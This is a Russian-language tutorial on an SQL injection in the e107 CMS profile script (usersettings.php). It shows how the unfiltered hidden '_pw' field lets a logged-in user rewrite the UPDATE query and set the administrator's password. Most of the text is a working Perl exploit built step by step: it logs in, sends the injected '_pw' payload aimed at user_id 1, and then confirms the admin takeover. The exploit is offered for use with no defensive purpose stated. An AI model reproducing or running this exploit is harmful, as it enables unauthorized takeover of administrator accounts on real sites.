Сейчас мы рассмотрим ошибку найденную в CMS e107 которая позволяет злоумышленнику сменить пароль администратора на произвольный. Уязвимость существует в скрипте изменения данных в профайле. Откройте файл usersettings.php – он находится в папке куда вы установили e107 – и обратите внимание на строку 198:

```
$sql -> db_Update("user", "user_password='$password', user_sess='".$sql->escape($user_sess)."',
user_email='".check_email($_POST['email'])."', user_homepage='".$_POST['website']."', user_icq='".$sql-
>escape($_POST['icq'])."', user_aim='".$_POST['aim']."', user_msn='".$_POST['msn']."', user_location='".
$_POST['location']."', user_birthday='".$birthday."', user_signature='".$_POST['signature']."', user_image='".$sql-
>escape($_POST['image'])."', user_timezone='".$sql->escape($_POST['user_timezone'])."', user_hideemail='".$sql-
>escape($_POST['hideemail'])."', user_login='".$_POST['realname']."', user_customtitle='".$sql-
>escape($_POST['customtitle'])."' WHERE user_id='".$sql->escape($inp, false)."' ");
```

Если Вы детально изучите код то увидите что тут множество SQL-инъекций. Но нам нужно только одно – сменить пароль администратора. Это мы сможем сделать только подделав переменную $password так-как она изменяется самая первая, следовательно изменив эту переменную мы можем выстроить дальше какой угодно запрос. Теперь перейдите на строку 121 и посмотрите следующий код:

```
if($_POST['password1'] =="" || $_POST['password2'] == ""){
        $password = $_POST['_pw'];
}else{
        $password = md5($_POST['password1']);
}
```

Содежримое $_POST['password1'] и $_POST['password2'] заполняются при изменении пользователем своего текущего пароля. Если они заполнены то в переменную $password заносится зашифрованное значение из $_POST['password1'].
Если же нет то данной переменной присваивается значение из $_POST['_pw']. как видно - $_POST['_pw'] при этом никак не фильтруется. Теперь нам нужно обнаружить поле "_pw" на страничке изменения профиля и посмотреть что же в нём хранится. Не трудно догадаться что в нём храниться текущий хэш пароля пользователя, изменяющего свой профайл. Войдите под своим пользователем и кликните на ссылку "Настройки". Далее откройте код текущей странички и обратите внимание на следующие строки:

```
<input type='hidden' name='_uid' value='' />
<input type='hidden' name='_pw' value='f561aaf6ef0bf14d4208bb46a4ccb3ad' />
<input type='hidden' name='_user_sess' value='' />
```

Как видите мы не ошиблись – в скрытом поле "_pw" действительно хранится хэш текущего пользователя.
Соответственно нам надо будет заменить его содержимое на хэш будущего пароля администратора и дописать остальной запрос, а остатки настоящего запроса обрезать знаком комментария.

Написание эксплойта.

Перейдём к следующей цели. Работа нашего эксплоита будет происходить в три этапа:

1. Авторизация.
2. Выполнение атаки.
3. Проверка результата нападения.

Соответственно код эксплойта будет состоять из трёх функций.

Первой мы напишем функцию авторизации. Она должна будет отправить логин и пароль скрипту index.php. Форма авторизации состоит из трёх полей – username, userpass и autologin. Соответственно код нашего эксплойта будет такой:

```
use LWP::UserAgent;
use HTTP::Cookies;
# Включаем поддержку cookies
 $client = LWP::UserAgent->new();
 $cookie_jar = HTTP::Cookies->new();
 $client->cookie_jar($cookie_jar);
# Заполняем переменные
 $url = 'http://e107/'; # URl сайта с e107
 $login = 'Manya'; # логин
 $password = 'xxx'; # пароль
 $profile_script='usersettings.php'; # имя скрипта изменения профиля
# функция авторизации
sub login(){
        $answer=$client->post(
        $url,
        [
        'username' => $login,
```

```
        'userpass' => $password,
        'autologin'=> '1'
        ]
        ) ;
# Код находящйся ниже запишет пришедший с сервера ответ в html-файл
        open(LOG,">> C:/file.html");
        $text = $answer->content;
        print(LOG $text);
        close(LOG);
}
&login();
```

Как Вы уже заметили – в скрипте есть код который записывает пришедший с сервера ответ в html-файл. Это нужно для отладки. Вдруг что то пойдёт не так. Я сохранил наш будущий эксплоит под именем e107.pl на диске C. Теперь давайте запустим его через командную строку (perl c:\e107.pl). В папке где у Вас лежит эксплоит должен появиться файл file.html. Давайте откроем его. Хм... на сранице имеется форма авторизации, по видимому авторизация не прошла – что может сильно озадачить, ведь мы заполнили и отправили все 3 поля формы. Давайте попытаемся найти ответ в коде скрипта который проводит авторизацию. Это скрипт class2.php находящийся так же в директории e107. Обратите внимание на строчки 345-348:

```
if(IsSet($_POST['userlogin'])){
    @require_once(e_HANDLER."login.php");
    $usr = new userlogin($_POST['username'], $_POST['userpass'],$_POST['autologin']);
}
```

Значит для успешной авторизации нам нужно заполнить ещё и поле userlogin. Точнее это не поле а кнопка. Вот её код из кода формы авторизации:

```
<input class="button" name="userlogin" value="Вход" type="submit">
```

Такая проблема встречается довольно часто. Соответственно нам надо сейчас добавить в код эксплойта ещё одно поле: 'userlogin'=>'1'. На данный момент код получается следующий:

```
use LWP::UserAgent;
use HTTP::Cookies;
# Включаем поддержку cookies
 $client = LWP::UserAgent->new();
 $cookie_jar = HTTP::Cookies->new();
 $client->cookie_jar($cookie_jar);
# Заполняем переменные
 $url = 'http://e107/'; # URl сайта с e107
 $login = 'Manya'; # логин
 $password = 'xxx'; # пароль
 $profile_script='usersettings.php'; # имя скрипта зменения профиля
# функция авторизации
sub login(){
        $answer=$client->post(
        $url,
        [
        'username' => $login,
        'userpass' => $password,
        'autologin'=> '1',
        'userlogin'=>'1'
        ]
        ) ;

        open(LOG,">> C:/file.html");
        $text = $answer->content;
        print(LOG $text);
        close(LOG);
}
&login();
```

Удалите файл file.html и запустите эксплоит снова. Как видите в файле file.html появился редирект на главную страницу атакуемого сайта. Значит авторизация прошла! Ведь когда Вы авторизируйтесь на сайте то попадаете на главную страницу.

Теперь можете убрать код который записывал ответ сервера в файл. А для проверки авторизации нам нужно

написать соответствующий код. Проверка удачной авторизации будет простая – если в ответе сервера имеется код переадресации – авторизация прошла успешно. Переменную, в которую будет занесён признак авторизации объявим в начале скрипта. Я объявил её после переменной $profile_script:

```
$true_login='document.location';
```

А вот код самой проверки:

```
	$resp_text=$answer->content;
	if ($resp_text=~s/$true_login//){
		print "Login - OK\n";
	} else {
		print "Login - FILED\n";
	}
```

Его нужно добавить в конец функции login() за место кода который записывал ответ сервера в файл.

Далее на очереди функция sqlinj() которая будет производить атаку. :

```
sub sqlinj{
# Переменная с хэшем нового пароля администратора (пароль - 1)
	$hash='c4ca4238a0b923820dcc509a6f75849b';
# осуществляем post-запрос
	$answer=$client->post(
	$url.$profile_script,
	[
	'name'		=> 'Manya',
	'realname'	=> 'xxx',
	'email'		=> 'kuzya@lllef.ru',
	'hideemail'	=> '0',
	'icq'		=> '546849326548',
	'user_timezone'	=> '-12',
	'updatesettings'	=> '1',
	'_pw'		=> $hash."', user_sess='', user_email='you@you.com', user_homepage=user(), user_icq=1545,
user_aim='', user_msn='', user_location='', user_birthday='', user_signature='', user_image='', user_timezone='-2',
user_hideemail='0', user_login='', user_customtitle='' WHERE user_id='1'/*"
	]
	);

}
```

Вот такая простенькая функция атаки. В последнее поле мы влючаем sql-запрос в конце которого имеется конструкция WHERE user_id=1, 1 – id администратора.

Как я уже говорил - следом за sqlinj() нам надо написать код который убедиться в том что пароль сменён.

Данная функция просто попытается авторизироваться под паролем администратора который указали мы. Вот её код (почти копия login()):

```
sub check_attack(){
	# Ник и новый пароль администратора
	$adm_login='Kuzya';
	$adm_pass='1';

	$answer=$client->post(
	$url,
	[
	'username' => $adm_login,
	'userpass' => $adm_pass,
	'autologin'=> '1',
	'userlogin'=>'1'
	]
	) ;
		$resp_text=$answer->content;
	if ($resp_text=~s/$true_login//){
		print "Attack - OK\n";
	} else {
		print "Attack - FILED\n";
	}
```

```
}
```

Всё, все функции готовы, осталось объеденить их в одно целое. Вот полный код нашего эксплойта:

```
#!usr/bin/perl
#=====================================#
# exploit for e107 v0.617                                 #
#=====================================#
use LWP::UserAgent;
use HTTP::Cookies;

# Включаем поддержку cookies
 $client = LWP::UserAgent->new();
 $cookie_jar = HTTP::Cookies->new();
 $client->cookie_jar($cookie_jar);
# Заполняем переменные
 $url = 'http://e107/'; # URl сайта с e107
 $login = 'Manya'; # логин
 $password = 'xxx'; # пароль
 $profile_script='usersettings.php'; # имя скрипта зменения профиля
 $true_login='document.location';
# функция авторизации
sub login(){
        $answer=$client->post(
        $url,
        [
        'username' => $login,
        'userpass' => $password,
        'autologin'=> '1',
        'userlogin'=>'1'
        ]
        ) ;
        # проверяем как прошла авторизация
        $resp_text=$answer->content;
        if ($resp_text=~s/$true_login//){
                print "Login - OK\n";
        } else {
                print "Login - FILED\n";
        }

}
sub sqlinj{
        $hash='c4ca4238a0b923820dcc509a6f75849b';
        $answer=$client->post(
        $url.$profile_script,
        [
        'name'          => 'Kuzya',
        'realname'      => 'xxx',
        'email'         => 'kuzya@lllef.ru',
        'hideemail'     => '0',
        'icq'           => '546849326548',
        'user_timezone'  => '-12',
        'updatesettings'  => '1',
        '_pw'           => $hash."', user_sess='', user_email='you@you.com', user_homepage=user(), user_icq=1545,
user_aim='', user_msn='', user_location='', user_birthday='', user_signature='', user_image='', user_timezone='-2',
user_hideemail='0', user_login='', user_customtitle='' WHERE user_id='1'/*"
        ]
        );

}

sub check_attack(){
# Логин и новый пароль администратора
        $adm_login='Kuzya';
        $adm_pass='1';
        $answer=$client->post(
        $url,
```

```
        [
        'username' => $adm_login,
        'userpass' => $adm_pass,
        'autologin'=> '1',
        'userlogin'=>'1'
        ]
        ) ;
        # проверка на удачную авторизацию
        $resp_text=$answer->content;
        if ($resp_text=~s/$true_login//){
                print "Attack - OK\n";
        } else {
                print "Attack - FILED\n";
        }

}
# вызываем все функции в нужном порядке
&login();
print "Attacking...\n";
&sqlinj();
&check_attack();
```